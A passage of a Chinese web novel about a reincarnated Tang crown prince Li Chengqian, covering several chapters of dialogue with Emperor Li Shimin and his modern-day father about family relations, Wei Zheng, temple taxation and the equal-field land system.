“阳明心学中的一段话,我改了一下。意思就是,承乾的执念太深,执念越深,因果就越重,所以才说他诸般因果加身。 他是承乾还是高明,或是其他什么身份,只怕连他自己都没想清楚,所以才说他至今不知我是我。” 李世民道:“依先生所言,承乾该是谁?” 高慎微叹气,“他是谁,只有他自己说了算。可是,他至今都还不太懂这个道理。我若早知他的过往,肯定引导他去学哲学。” “哲学是什么?还请先生赐教。” 高慎微道:“哲学是一门学问,其目的在于探究宇宙和人生根本的学问。立足于客观现实,通过理性思考与逻辑论证,揭示世界本质、人生意义以及人类认知的边界。” 李世民起身,倒了杯茶水抿了一口。 “承乾小的时候,先生不妨同朕说说,他留在这里还要几十年,朕知道他的秉性,也好同他相处。” 皇帝主动了解高明过往,这是好事,可高明的脾性,怕是会让李世民希望落空。 帝王的付出得不到回报,吃亏的只会是高明。 “陛下,时空错位,付出的再多也都会无意义。如今的高明,陛下拿他当做太子就是最好,至于儿子,太难了,几乎不可能!” 这章没有结束,请点击下一页继续阅读!李世民的心裂出了一条缝,“先生又不是承乾,凭什么觉得朕不可能扭转乾坤?” 高慎微道:“陛下做秦王之时,尚且不甘为臣。说一句不拿大的话,我和高明的母亲,我们这样开明且通达的父母,放在未来也都是少之又少。” 李世民一滞,吃过了珍馐,如何咽得下糟糠? 这是承乾对他和高柏的评价,承乾在未来不过三年,就已经完全接受不了他这个父亲,何况是被养了二十八年的转世承乾。 “高先生,若你在朕的位置,你是否能甘心?” 高慎微轻笑,说到偏执,李世民和李承乾父子真是一脉相承的像。 嫡长子继承制度,让李世民赢了的名不言不顺,如鲠在喉,所以将内心的不甘施加在李承乾身上,毁了李承乾,证明嫡长子继承制度的错误,为自己的偏执画上句号。 李承乾输了,带着执念转世千年。 “魏王李泰说出了杀子立弟的话,让陛下看透了他的阴狠毒辣。晋王李治同武才人那档子事,以及陛下驾崩他不许兄长为父奔丧,让陛下对他仁孝温厚的评价成了莫大的讽刺。 陛下不甘,与其说是爱子之心,倒不如说毁了承乾之后,发现自己最属意的继承人是易牙,竖刁之辈,自己最终选择的继承人,用武周篡唐在史书之上给了陛下一个响亮的巴掌。 陛下,你……” “老匹夫,你想死吗?” 高慎微面不改色,继续刚才没说完的话,“除非时光倒流到武德二年,陛下像教导您第二任太子那样疼爱承乾,否则无论陛下付出再多,也是虚妄。” 喜欢大唐太子李承乾之宿世轮回请大家收藏:()大唐太子李承乾之宿世轮回更新速度全网最快。 第180章 利诱 老小子,跟他玩儿攻心! 李世民很快调整好情绪,淡漠开口:“高先生,你是聪明人,应该知道朕有意修复与承乾父子关系。一个同君父离心的太子,怎么会有好结果?” 高慎微面露不忍之色,“为人父母,我怎不知陛下对承乾尚存父子情义。我是怕,怕陛下的付出得不到应有的回报,我的高明会吃苦头。 我劝导陛下,非是不愿陛下修复父子关系,而是承乾见过了更好的父子关系,他不会相信陛下能做他的父亲了。 或者,陛下对他的疼爱,是建立在不知魏王李泰的狠辣,不知您第二任太子的背叛之上。 眼下,陛下所有的付出,在高明看来,不过是看重他身上超越时代的学识,以及李泰的不堪大用和李治的背叛,让你不得不选择他。” 李世民冷笑道:“青雀不堪大用朕信了,承乾可是打算谋逆的人,他难道不是背叛?” 高慎微笑道:“陛下,您这样骄傲的人,承乾谋反正面同您掀桌子,还能让陛下觉得这个孩子像自己,有血性。李治和武才人那挡子事,若在您身强体壮的时候,当着您的面干,您纵然气恼,也会夸一声有胆识。 可是,他偏偏在陛下的病榻前跟武才人眉来眼去,在您的忌日去感业寺,以为陛下祈福为名,同武才人暗通曲款,在孝期之内让武才人有了身孕。陛下的内心,也是极其不耻这般行径吧? 陛下与承乾,两个性格相似的人,做朋友会惺惺相惜,做对手会相互欣赏,做父子多是针锋相对。 所以我才说,除非陛下提前知道历史的轨迹,回到武德年间,哪怕是贞观元年,将没有未来经历的承乾带在身边,您怎么养的李治,怎么养承乾,一切才会有回转的余地。” 李世民立在原地,凝眉沉思。 “高先生,你们学哲学的,都这么能言善辩吗?” 高慎微道:“哲学的理论,多有对应的现实作为依据,讲究的就是一个有理有据。” “国公之尊,三千封邑,可否留先生在大唐?” 李世民转过身,目光灼灼,眼神坚定看着高慎微。 “先生高才,朕想留下先生,做朕另一面镜子。” 高慎微笑道:“我走这一遭,是怕高明那拧巴性子再把自己憋坏了,所以过来看看他,开导开导他。 现在知道了他过往的经历,我的担心是多余的,他有能力应付这里的风雨。 我不属于这里,时间到了,回到我该回的地方。” 李世民继续利诱,“你回去了也只是一个地方小吏,何况你都已经退休了,留在大唐,朕能给先生的东西,可比你们那个朝廷能给先生的更多。 先生视金钱爵位为粪土,可来日史书工笔,必定有先生的名字,青史留名,这难道不比回去做一个默默无闻的小吏好?” 高慎微摇头,“那边有一个承乾等我回去,这边的高明完成他的使命之后,他要回家。我答应了他,等他回家。 所以,我不会留在这里,况且,我也没有办法长留此地。一百二十八日,已经是我能留在这里的极限。” 李世民长叹一声,心下滋味难言。 作为父亲,高慎微和承乾父慈子孝让他眼睛疼,他巴不得一脚踹走高慎微,甚至一剑劈了高慎微。 作为帝王,高慎微见事敏锐,有理有据,直击问题本源。魏征年事已高,没几年活头了,他需要一面新的镜子,顶替魏征。 “先生,可有兴趣手谈一局?我听承乾说过,先生颇善与人对弈。” 高慎微欣然应下,李世民唤了宫人进殿,分咐取来围棋。 “高先生,你是个很有趣的人。承乾喜欢你,朕也很喜欢你,喜欢的不得了。” 高慎微抿茶入喉,呛了个半死。不过能理解,这是李世民能说得出口的话,妩媚动人的魏征,小鸟依人的褚遂良,史书上就是这么回事。 难得见高慎微吃瘪,李世民哈哈一笑,“高先生,你也是一把年纪的人,怎么这么不稳重?” 高慎微笑道:“陛下逮着机会,是不是也这般挖苦魏征?” 提到魏征,李世民问道:“先生,很喜欢魏征吗?” 高慎微摇头,“高明喜欢魏征,爱屋及乌,我对这位魏丞相,十分敬仰,也很是敬重。” 李世民举棋落子,冷哼道:“哪儿哪儿都有那老棺材瓤子,或许他只有作古了,朕的耳根子才清净。” 高慎微道:“陛下未必愿意魏征作古,否则,陛下征辽东回来,为什么要厚祭魏征?陛下当初若没有悔婚,新城公主说不定也不至于因为长孙氏蒙难,二嫁京兆韦氏,婚姻不幸郁郁而终。魏征其人如何我不好评价,可他的家训教化,凌烟阁同列者难与其比肩。” 说到魏征后人,见过了自己那堆糟心的后人,李世民登时来了兴趣,“怎么说?” 高慎微道:“早年查过魏征的资料,顺带看过魏征后人的记载,他的后人贯穿于唐王朝国祚始终,魏氏一门做官不在少数,但都承袭了他“戒奢尚俭,克己勤勉”家风。 如此一来,就导致了魏家后续的窘境,清贫到把祖传的宅子给卖了。因那宅子是陛下所赐,最后朝廷出面买回来了宅子赐还魏家。” 李世民沉默良久,道:“褚遂良进言之事真假难辨,先生这么一说提醒了朕,朕改日要就此事旁敲侧击褚遂良,魏征作古死无对证,魏征活着看他敢不敢检举自己的恩师?” 高慎微抿了口茶水,继续落子。 高明敬重魏征,若贞观十七年后高明在这个时空的寿数尽了回到未来,但愿能帮着魏征避过扑碑之祸。 此事子虚乌有最好,若是事实,魏征眼下是太子少师,为了太子的颜面,李世民也会轻拿轻放。 退一万步讲,秋后算账,提前爆出此事,到那时怒气早就散的差不多了,也不至于闹到扑碑。 “老爸,知道你要来,一大早就让人备好了食材,忙了我将近一个时辰,您可要多吃些。” 李承乾从外面走进来,下意识无视了同父亲对弈的皇帝。 “你这顿饭可不容易吃,朕和高先生第一局结束,第二局过半了。” 喜欢大唐太子李承乾之宿世轮回请大家收藏:()大唐太子李承乾之宿世轮回更新速度全网最快。 第181章 世俗 李承乾后知后觉,想清楚了皇帝的火气来源。 多少觉得有几分莫名其妙,皇帝自己说了,若不是为他造势太甚,不好收场,皇帝更愿意另一个他回来。 皇帝的内心,将他定义为工具,他也很配合的接受这个身份设定,合格的履行工具的职责。 要一个工具去同皇帝父慈子孝,简直可笑! 那么盼着父慈子孝,为何不留住另一个承乾,那个承乾才是放不下的,不然不至于跟皇帝闹那么厉害。 罢了,父亲还在,不和皇帝起冲突,免得父亲担心。 “陛下,魏师傅又给您上折子了吗?您心火这么旺盛?” “哦?”李世民饶有趣味看向李承乾,“听高明的意思,朕这是寻衅报复?” 李承乾暗道:您老人家是无事生非! “师傅的债学生偿,天经地义,怎么会是寻衅报复?” 李世民看着李承乾,皮笑肉不笑,“你等着,等那个老棺材瓤子彻底闭嘴,朕先把你那个狗腿子魏叔玉贬出长安,再把那个老棺材瓤子拉出来鞭尸。” 李承乾笑眯眯回了一句,“圣主有囊括宇内之志,包罗万象之量,不害人之亲,不辱人之身后名。我大唐的天可汗,怎会行此无德之事?” “那句话怎么说来着?近朱者赤,近墨者黑。承乾同高先生待在一块,说话都好听了许多。” 李承乾挑眉一笑,难得,皇帝能夸父亲一把。 “都进来吧!” 听到太子传唤,宫人鱼贯而入,摆膳、试膳忙活了将近一刻钟时间,诸事毕,李承乾抬手将众人驱散。 “陛下,父亲,您二位入座。” 皇帝当之无愧的主位,高慎微右下手客座第一,李承乾侍奉布菜。 “今天没把你那个宝贝儿子喊过来?” 李承乾道:“他今晨请安过后,就一头钻弘文馆了。小孩子,最重要的还是学习。” 李世民微微一笑,他和高慎微用膳,太子布菜,李象作陪,实在太过显眼,好一个明哲保身。 高慎微也品出味道,又见高明照规矩侍奉布菜,心下酸涩难忍。 李世民察觉到高慎微的表情,心下清明。 “父母用膳,儿女布菜,高先生,在未来有这个规矩吗?” 高慎微道:“没有。” “承乾,那今日不用你布菜了,坐下一起吃。” 李承乾看向皇帝,沉默片刻,他布菜并不是为了皇帝。 “未来没有布菜的礼数,臣从没给爸妈布过菜,如今是入乡随俗,臣略尽为人子女的孝道。” 高慎微很是为难,开口让高明落座,李世民脸上不好看,他相信高明可以应付这里的一切,但也不愿意高明跟李世民关系太僵了。 顶头上司心里头不痛快,员工干活也难受。这对父子,一个比一个拧巴。 李世民脸上笑容依旧,高慎微瞟了一眼,无声叹气。这俩真的太像父子了,能力有参差,性格处事都一个德行。 “我是看明白了,你们二位是鸡同鸭讲,都不知道对方想说什么,突出的就是一个拧巴。 人,长嘴巴就是要把话说清楚,长了耳朵就是听人家说话,长脑子要听话听音,甄别对错。” 话音未落,殿内针落可闻,高慎微静静的看着高明,父子对视片刻过后,高明默默落座。 这个默契,李世民的心更堵了,这要是换成他,李承乾就是大眼瞪小眼,压根儿不知道他在说什么! 当然,朝政除外! 李世民现在十分后悔留下用膳,单纯就是给自己找气受,随便吃了两口,他便找了个借口跑了。 父子二人吃过饭,宫人进来收拾,漱口净手,又过了两刻钟左右,李承乾捧了茶水给父亲。 “老爸,您该不会是想给皇帝出气,骂我一顿吧?” 高慎微呷可口茶,示意高明坐到自己身边,“皇帝于我而言只是个外人,我怎么会为了他,为难我的孩子?” 李承乾道:“那您这么严肃?” 高慎微道:“我是有话对你说,明明,我知道你的心里,很难把皇帝当做父亲看。可是,无论你心里怎么想,明面上他就是你的父亲。 莫说你的灵魂是转世的李承乾,就算不是,你这副血肉之躯也来源于皇帝,没有他就没有你,他是你生物学上无可厚非的父亲。 你在精神上可以弑父,但在世人眼里,你和他还有世俗的伦理纲常,还有这一身血肉的牵绊,该有的尊重你要给他。 有人说,不要在意世俗的看法,那是有前提条件的,你不在世俗之中,才有底气说这个话,身在世俗,想要如鱼得水,留要顺着世俗的规矩来。 你也为人父母,你的言行举止,会在潜移默化之中影响你的儿女。好在我来了这一趟,我对你在教育上的欠缺,也还有机会补漏。” “爸爸,这是我和皇帝的矛盾,同你有什么关系?” 高慎微连忙安抚住高明,道:“父母是孩子的第一任老师,一直以来,我们的家庭氛围都很好,我从来没有同你讲过这个道理。 你我之间的相处,像极了我同你祖父的相处。你和皇帝的相处,同当年皇帝与高祖的相处比,如何?是否有一种似曾相识之感?” 李承乾面色沉重,高慎微继续说道:“明明,如果你不能摆正对皇帝的心态,你很可能会将悲剧带给下一代。 你受过现代教育,你的开明不会让你和你的孩子重复你和皇帝的悲剧。但是,你的孩子将来也会有孩子,你总要为他们开个好头才是。” 李承乾陷入沉默,高慎微也不催促,将注意力放在他和李世民那盘尚未有结果的棋局上。 “爸,我明白你的意思。” 生物学和伦常上,他无法否认他和皇帝的父子关系,他若不能给足皇帝该有的尊重,便会为这个世道所不容。 君王的权柄,可以让人三缄其口,但改变不了事实,就像他和皇帝生了矛盾,他会提玄武门,提皇帝和高祖的父子关系,去堵皇帝的嘴巴。 人的思维认知源于现实,他不止李象一个孩子,不是每一个孩子都会坚定的选择他,可作为父亲,教导好孩子,却是他的责任所在。 “走,到院子里去,我看看你的太极拳前八式还记得多少。” 喜欢大唐太子李承乾之宿世轮回请大家收藏:()大唐太子李承乾之宿世轮回更新速度全网最快。 第182章 馊主意 黄昏时分,李承乾亲自送了父亲出东宫,回到显德殿,换下打太极拳的窄袖,穿上常服,到甘露殿去拜见皇帝。 李承乾过来拜见,李世民下意识驱散宫人。 无论是哪一个李承乾,专门来甘露殿拜见,多半没什么好事,十有八九他血压飙升,他是真的怕了。 李承乾进殿之前,李世民绞尽脑汁回忆近来发生的种种,除了扣了李承乾半个多月,没让第一时间去见高慎微,他真的没惹到李承乾。 李世民很委屈,他哪里知道高慎微只能在这里待一百二十八天,他要是知道了,肯定第一时间放人出宫。他堂堂大唐皇帝,没那么小气。 李承乾走进大殿,回来三年多,还是第一次来甘露殿请安。 “臣承乾拜见……”李承乾深吸一口气,吐出那两个艰难的字来,“父亲,愿父亲圣躬安和。” 李世民心一紧,上一次这么客气,还是恭贺他遭李治背叛,武周篡唐那个事。 “朕一切都好,免礼。” 李世民上前扶了一把,示意李承乾落座,“高先生东宫一游可还欢心?” “多谢父亲挂怀,我爸那个人环境适应能力很强的。至于是否欢心,见到臣他当然会欢心。” 李世民道:“有没有可能,高先生适应能力强,是你不够让他安心,所以他在你面前不敢展示他任何的脆弱?” 李承乾下意识捏着衣角,他也为人父母,皇帝的话不可谓不直击他内心。 父亲的内心世界他不知,可他知自己,危机来临,他也断不会在李象面前露出他的脆弱,让李象不安。 “你走这一趟,目的何在。” 李世民开门见山,“你有什么话现在就说,你就是说朕的坟给人刨了,朕都能接受。 别一会儿朕放下心防,你冷不防来几句,你老子可经不起你刺激,未来还要带着你去打薛延陀和高句丽。 承乾,兵权要自己收,底下人才会对你心服口服。无论你怎么想,朕有生之年,能为你做的,朕都会帮你安排好。” 这句话李承乾信,李泰不堪大用,李治弄出武周之祸,李治的后人还和武氏女牵扯不清。 母亲只留下了三位嫡子,皇帝没有太多的选择。 知道那二位的事迹,皇帝就算再怎么偏爱这两位爱子,也不会江山社稷开玩笑。 “父亲,臣真的只是来请安。” 日日夜夜盼得一声父亲,可李承乾真的喊出来了,李世民却觉得不怎么真实。 “自你回来,三年多都没来请安了,突然过来请安,让为父有些不适应。” 李承乾心下明了,他来请安,皇帝的心态:黄鼠狼给鸡拜年,没安好心。 “父亲,臣只是想清楚了一个问题,以及这个问题可能牵扯出来的影响……” “是什么问题?”李世民迫不及待追问:“同高先生有关吗?” 高慎微今日进宫,李承乾过来请安,李世民自然而然将此事与高慎微联系到一起。 “我是谁。” 李世民道:“所以,你现在想清楚自己是谁了?” 李承乾点点头,“想清楚了,所以履行这个身份对应的责任。我和父亲的相处方式,同父亲和阿翁的相处几乎一模一样。 臣今日所做的一切,不为其他的,只为将来臣的孩子,不要重复父亲和阿翁的相处方式。” 李世民的笑僵住,他还以为李承乾是放下过往,感情来给他请安,单纯就因为挂着李承乾的身份。 “东宫还有事要忙,臣先告退了。” “等一等。” 李承乾抬头看向皇帝,“有事?” 李世民摇头,“没什么事情,为父就是想和你说会儿话。” “说什么?” 李世民:…… “你和高先生,怎么有那么多的话说?” 李承乾顺着皇帝的话,问道:“所以,陛下想要说什么?” 说什么? 李世民也不知道说什么,思索了良久,最后蹦出来一句,“那帮二世祖捣鼓你编撰成语大全,就是躲着家里大人,顺带混个好名声,你别太上心了,注意身体。” 李承乾道:“凡事论迹不论心,出发点如何,过程如何不评价,结果是好的就行。” 太子出门,张阿难进殿伺候,见皇帝一脸愁容,他现在看到太子就觉得难受。 皇帝在太子那里窝的火,不敢到东宫撒火,也拉不下来脸去说好话,弄得他们这些近身伺候的人极其难受。 “阿难,太子称呼朕父亲了。” 张阿难一愣,皇帝日思夜想,太子改称呼,这太子改了,不该欢呼雀跃吗?怎么愁眉不展? “这不是陛下心之所念吗?” 李世民叹气,“你没有儿女,跟你说了你也不懂。” 这话说的…… 张阿难:…… 从前威逼利诱,让李承乾称呼他父亲,李承乾不情不愿,可他听到这一声父亲还是很舒心的。 现在李承乾主动称呼父亲,他感觉事情更糟了,就像李承乾说得,只是履行一个身份带来的责任,完全没有感情。 “阿难,朕不是无情之人,朕和太子不是你看到的那样,朕很在乎这个孩子的。” 张阿难默默叹气,“陛下,若太子无能,就算父慈子孝,您只会更加哀愁。” “姓张的,你大胆!” 张阿难道:“陛下,鱼与熊掌,不可兼得。” 李世民冷哼一声,“你们一个个的,现在都向着他说话。” 张阿难笑盈盈为皇帝递了一盏茶,“天心所向,就是人心所向,陛下不向殿下,谁敢向着殿下说话?殿下那样聪慧,能明白其中的道理。” “阿难,可是有些时候,朕只是一句无心之言,他就牢牢记在心里,同朕生疏……” 张阿难叹气,皇帝是要太子才誉满天下,还要太子孝顺至极,又要有为君的主见,又不能冒犯到天子的权威。这样的太子,莫说凡人做不到,神仙来了都不行。 “陛下,天也不早了,明日还要早起上朝,圣体安康重要。陛下觉得这一声父亲听得不舒坦,没必要憋在心里,直接让殿下换回原来的称呼。” 李世民瞬间炸了,骂道:“没什么智谋,你就不要在这里充张良,出的都是什么馊主意?给老子闭嘴!” 喜欢大唐太子李承乾之宿世轮回请大家收藏:()大唐太子李承乾之宿世轮回更新速度全网最快。 第183章 活祖宗 河南道和淮南道有惊无险完成农忙,李世民默默松了口气,却又为另一件事烦心。 久不降雨,土壤干的掉渣,后半年农耕受到极大的限制。 李世民为此事烦心,一连数日,都是一脸的愁容。 李承乾十分理解皇帝,别说以农耕为本的封建社会,就是高科技发达的现代,面对旱涝也很是头疼。 “承乾,未来对此类灾害,是什么应对之法?” 李承乾沉默片刻,人工降雨需要特定的条件,且大唐王朝不具备这个科技水平。 “未来也没什么好办法,天灾面前,众生平等,不论科技高低,以及社会水平发展的高低。” 李世民道:“周朝的荀子说:人定胜天。自太原起兵,朕南征北战,数次以少胜多。朕一直都相信,人定胜天。” 李承乾道:“人定胜天的意思是指人和的优势在一定程度上能够战胜天时,若忽略现实条件,只强调最终的结果,这就是个纯纯的伪命题,是不切实际的。” 李世民道:“河南道和淮南道大部分州县,都个把月没见一滴雨了。麦子是收了,后半年怎么办?朝廷要赈灾,国库又要出血,朕的心在滴血。” 皇帝解决边患,少不得要用兵,一旦用兵,就有粮草辎重的消耗。 李承乾在归纳整理房遗直、魏叔玉等人整理出来的文稿,思索片刻回答皇帝。 “天公不作美,那就全力抗旱,过了眼下难关,再继续积攒家底,贞观十五年若不能出征薛延陀,那就继续往后推。” 李世民叹气,他也是这么想的。 “有人上疏,要朕赦免死囚,渡化出家,让这些人在佛祖驾下,为国祈福。” 李承乾当即反驳,“说赦免死囚,让他们去毒瘴之地垦荒还差不多,送去出家,乱弹琴!” “周武帝灭佛激进了些,如今看来,不过是非常之时,不得已行非常之法。 不从事农耕,不向朝廷纳税,蓄养壮丁独霸一方,佛门本是清净之地,逼迫良家妇女做暗娼。 寺院猖獗成这般,影响到朝廷治理,不得不管了。这才过去几十年,一个个的都忘了。” 李承乾笑道:“未必就是忘了,或许他们就是背后的金主。” 李世民沉默片刻,饶有趣味看向李承乾,“承乾,你其实不用把话说得那么明白。” 李承乾执笔动作一滞,李世民怕李承乾误会,连忙解释,“朕不是生你的气,只是想说很多事情,心里头清楚就行,不能摆上台面。” “臣明白!” 李世民继续道:“你数次监国,从无错漏,满朝文武却没几个支持你,除了朕的态度,你自己的态度也很重要。世家大族的面子,不能不给。 承乾,皇帝是天下的君主,可没有臣与民就没有君。皇帝要治理天下,需要臣子驭民,你往后行事,别把他们得罪的太狠了。” 李承乾道:“太平盛世,佛寺大兴,眼下这个问题还没有发酵出来,并不代表它不存在,父亲预备如何应对?” 晚唐的寺院经济,比起南北朝,不遑多让。 “寺院经济繁盛,占据了大片土地,因其不缴纳赋税的特权,许多世家大族就将自家土地挂在寺院名下,土地上耕作的农户成了‘僧侣’,以此逃税。到了中唐,已经完全影响到国家税收。” “岂有此理!”李世民拍案怒斥,“欺君罔上,目无朝廷,该死!” 李承乾道:“后世有个政策摊丁入亩,意思是将人头税摊入田亩,地多的多交,地少的少交。 世家大族占据大量的土地,他们都有部曲私兵,真要这么干,他们会直接造反。 所以,以当前大唐的现实,这个政策完全脱离实际,臣也从来没跟父亲说过此事。 府兵制度依赖于均田制,兵与地相绑定,王朝发展,土地兼并只会越来越严重。 这是历代王朝通病,朝廷没办法扼制,世家大族兼并的土地越多,朝廷可用于蓄养府兵的土地就越少。 均田制府被打破,朝廷无土地可用于蓄养府兵,府兵失去稳定的经济来源,战力大打折扣,府兵制度也就名存实亡。” 李世民道:“朕明白了,你此前进言开设皇商,鼓励对外贸易发展,在民间解除对商贸交易的种种限制。 你还说过,招募士兵,发放俸禄,训练新军,眼下看来,你是预想到了府兵未来的困境,想要逐步废掉府兵。” 李承乾点点头,“周朝奉行的:普天之下,莫非王土。不承认承认土地私有,可随着社会发展周朝的国力不足以维持土地国有。 秦朝商鞅变法,承认了土地私有,就是顺应社会发展的一种趋势,后来秦统一天下,后世王朝的政治制度以他为模板,完全可以说,朝廷统治的根基,就是承认土地私有。” “朕明白你的意思,大唐的国力,不允许大唐不承认土地私有。承认了土地私有,那么土地的买卖兼并,就合理且合法,哪怕伤到了朝廷的利益,朝廷也只能打掉牙往肚子里咽。” 李承乾笑道:“眼下情况还没那么坏,父亲可以下诏向寺院收取税收,标准就以寺院所掌握得土地进行设定。 寺院名下的土地不能避税,世家大族也就不会把土地挂在寺院名下。 再有,出家的人也必须进行限制。那些罪犯滔天的穷凶极恶之徒,不能凭借佛道寺院一张度牒就可以逍遥法外。 父亲,这些人入了释门、道门,只为避祸,从未脱离世俗,他们的存在,始终威胁着朝廷的治理。” 李世民准了,又道:“商贸发展,有了新的税收来源,能够降低朝廷对土地的依赖。招募的兵士拿着朝廷的俸禄,吃谁家的饭留要对谁家负责,当真是反制世家大族的一把利器。承乾,你真的太聪明了!” 李承乾扶额,苦笑一声,“父亲这个夸奖,臣实在受之有愧。每一代王朝都在总结前朝的疏漏,防微杜渐,以其王朝久远。臣之所言,不过是总结前人的经验。” 李世民哈哈一笑,“承乾,你总结的是后人的经验。” 闻言,李承乾亦是一笑。 “是了,臣即是后人的祖宗,也是祖宗的后人,算下来,臣也算是活祖宗。” 喜欢大唐太子李承乾之宿世轮回请大家收藏:()大唐太子李承乾之宿世轮回更新速度全网最快。 第184章 抽象 “均田制度分配下去的土地,都是无主的地,完全属于朝廷,又怎么会被豪强地主兼并?” 李承乾轻轻一笑,放下笔,靠上凭几,活动了下酸痛的胳膊,“父亲,那您觉得,谁有那么大的权力轻易动摇国策?” 李世民笑容僵了一僵,皇帝! “这群不肖子孙!” 李承乾道:“朝廷律法,特殊情况,譬如流亡和贫穷,是允许买卖朝廷分配的土地,所以贵族、官僚和豪强通过诸多手段侵占公田与老百姓的田,朝廷可分配土地越来越少。 朝廷不可能将土地全部变成国有,也不能否认土地私有,不能禁止土地买卖。 那些连田阡陌的世家大族,于他们而言,土地是实力,是家业,是保障他们社会地位,应对外来风险,提升名望的底气。 朝中的官员,少时一腔热血,将修身齐家治国平天下作为理想,待真的走入朝局,又有几个保持初心?朝中这些大臣,有几个家里不是良田成片?又有几亩是皇帝赏赐下去的? 普通老百姓,水旱洪涝的灾年,出卖手里土地,能够获取必要的生存资源。若土地不允许出卖,就等于堵死了他们的后路。 牵扯的利益群体太广,利益冲突太大,父亲,就是您也未必能应付的了,均田制被破坏,只在早晚。” 李世民顺手递了一张宣纸过去,李承乾扶着凭几直起身子,接了皇帝递过来的宣纸打眼一瞧,不由得轻笑。 纸上是一尾凤鸟,长长的凤尾拖地,昂首挺胸,目光锐利深邃,深邃的眸子洞察世间万物的宿慧,满身的傲气,带着三分不屑。 身侧还有一尾羽翼未丰的小凤,滴溜着大眼睛,精明伶俐,带有三分稚气未脱,嘴角噙着一嘴的凤羽,看凤羽大小目测是从老凤鸟身上咬下来的。 李承乾笑容僵了一瞬,感觉有被内涵到。 “父亲,您什么喜欢玩儿抽象了?” 李世民顿了一顿,听不太懂什么是“抽象”,遂道:“前日你出宫见高先生,朕去显德殿找你,偶然间看到你案上的两幅画。 就是那两条蛇,一条疯疯癫癫的样子,感觉随时都会发疯追着人咬。另一条紧闭双眸,文静可爱,有一种诗书内敛的美。” “英雄所见略同!”李承乾斜靠在凭几上,笑盈盈继续说:“那两条蛇都是后来城市的吉祥物,闲来无事画着玩玩儿,打发时间。” “承乾有没有觉得,那条随时会追着人咬的小蛇,像另一个你,另一条内敛富有诗书气的蛇像现在的你。” 李承乾尴尬一笑,真的有被冒犯到。 “这个叫抽象的话的,那你老子玩儿抽象,就只能是你这个儿子教的。” “父亲,您这是想另一个承乾了?” 李世民点头,“有你在身边,朕原不该去想他,可人的感情很复杂,午夜梦回,入梦最多的却是他。他娇纵无礼,嘴巴又臭,却极其鲜活。” 李承乾沉默片刻,能够理解皇帝,比起另一个自己,现在的他好似一个被设定程序的机器人,干劲儿很强却总带着一股死气。 “他是父亲的孩子,父亲想他无可厚非。” 只是,也只能是想,那个他绝对不会回来的,将来或许是一体双魂,他们二人都留在现代,或者另一个他回到原本的时空消散,也或许他在这个时空消散,另一个他在未来寿终正寝。 “你的太极拳打的如何了?听宫人说,你每日天不亮就起来练习,整理完文稿就在院子里一直练,一直练到就寝。” 皇帝突然换了话题,李承乾也顺着皇帝的话题走,“父亲,我打来给您看,您点评一下好坏。” 父子二人起身出去,李世民站在廊下,李承乾在院子里打太极拳,精神高度集中。 一轮结束,李世民拊掌三声,“看样子,你不是学不好,得看找的老师是谁。” 得到皇帝肯定,李承乾笑容满面。 李世民轻笑,他就夸了一句,这小子这么开心,往后他还是多夸一夸的好。 “父亲能说好,多半看得过去,我爸离开之前,我一定要把这套拳法打好。到时候打一全套太极拳,给他老人家看。” 李世民笑容僵住,感情这兔崽子笑成朵花,不是因为被他夸了,而是练得不错要给高慎微看。 “祭田的小米成熟,朕叫人收下来了。” “收了多少?”李承乾忙不迭的追问,“能给臣匀一些吗?” 李世民道:“朕种的小米,有你的付出,又要拿去给高先生献殷勤?” 李承乾点头,丝毫不避讳。 “我爸是四月初三来的,八月初九满一百二十八日,不出意外肯定能吃到我亲手种下的稻米。” 李世民笑得多少有些言不由衷,但一想到高慎微在这里不满百日,他也平添了一股紧迫感。 “高先生做个小吏太可惜了,他应该去做老师,教书育人他能有更高的成就。” 李承乾点点头,这一次他和皇帝想法一致。 “朕同他相谈几次,收获良多。之前,朕觉得高先生可以做一个谏臣,现在朕觉得,他更适合教书育人。 良善正直,这种性格,放在官场上,要么走孤臣的路,要么止步于一个小吏。” 李世民发出一声长叹,“可惜了,留不住他,不然的话,朕就把他征召入弘文馆,负责给皇子授课,你将来的孩儿,可以放心交给他。” 李承乾很无语,但保持着礼貌的微笑,“父亲,我爸未必想干教书育人的工作。” 李世民哈哈一笑,“高先生已经退休了,你这是生怕高先生累着了。朕的皇子就罢了,你的儿子,高先生孙儿,他肯定会愿意教的。” 李承乾笑笑,高明的父亲是高柏,可李承乾的父亲是李世民。 “我爸姓高,可不姓李,李家的孩子怎么能算他的孙儿?” 李世民目光幽幽,看着李承乾若有所思,“那么,你姓什么?” 李承乾双手一摊,“父亲,我现在当然姓李。” 喜欢大唐太子李承乾之宿世轮回请大家收藏:()大唐太子李承乾之宿世轮回更新速度全网最快。 第187章 反制糖衣炮弹 端阳节宫中设宴,李承乾提前一日就打了招呼推辞,过节,当然是跟家人一起过。 皇帝赐宴,同一群各怀鬼胎的大臣周旋,少一次没什么关系。 李世民是半点都不觉得意外,高慎微来了,过节了李承乾能来赴宴才是见鬼。 苏氏留人,李承乾或许还会在老父亲和孕妻之间纠结一下,偏偏苏氏进入第六个月后,说什么都不肯见李承乾。 李世民大手一挥取消端阳节赐宴,改成外出踏青。 “外出踏青,你要不要带着高先生一起出门?” 李世民询问李承乾的意见,虽然他知道,李承乾大概率不会同意。 李承乾听得心一颗心抽搐,休假当日,领导先是组织了公司聚餐,后又改成外出团建。 “父亲忘了,可臣记得清楚,当年阿翁每逢佳节必请客,父亲私下里吐槽。” 李世民难得老脸一红,白了李承乾一眼,“你现在胆子是越来越大了,都敢开朕的玩笑了?” 李承乾笑道:“父亲要是不愿意臣同您开玩笑,那臣就不开了,这百日里有老爸,老爸走了臣还有魏师傅,李师傅。” 李世民靠在凭几上,下颌微微上扬,“他们活不过朕。” 李承乾两手一摊,面上笑意更甚,“父亲莫不是忘了,崇贤馆那一堆人?私下里,臣也常同他们开玩笑。” 李世民冷哼一声,佯怒道:“没大没小!” “也不是是谁说得,魏师傅妩媚动人,褚遂良小鸟依人。父亲为君不尊,教出臣这么个没大没小的太子,十分合理。” 李世民:…… “要不是看在你身子骨不怎么好,朕非打你一顿不可。” 知道皇帝不会打他,李承乾贼胆越来越大,“父亲,当初阿翁逢佳节必定设宴,父亲是怎么说来着?好不容易休沐一日,还不让人清闲。 如今父亲做了皇帝,不仅是节庆设宴,连休沐都不放过,就是不知道大臣们私下都是怎么说的。” 李世民道:“你懂个什么,就在这里乱说。你阿翁偏心建成和元吉,元吉每每挑拨离间,他问都不问向朕发难,朕张嘴解释,话没说完就被他呵斥回去。 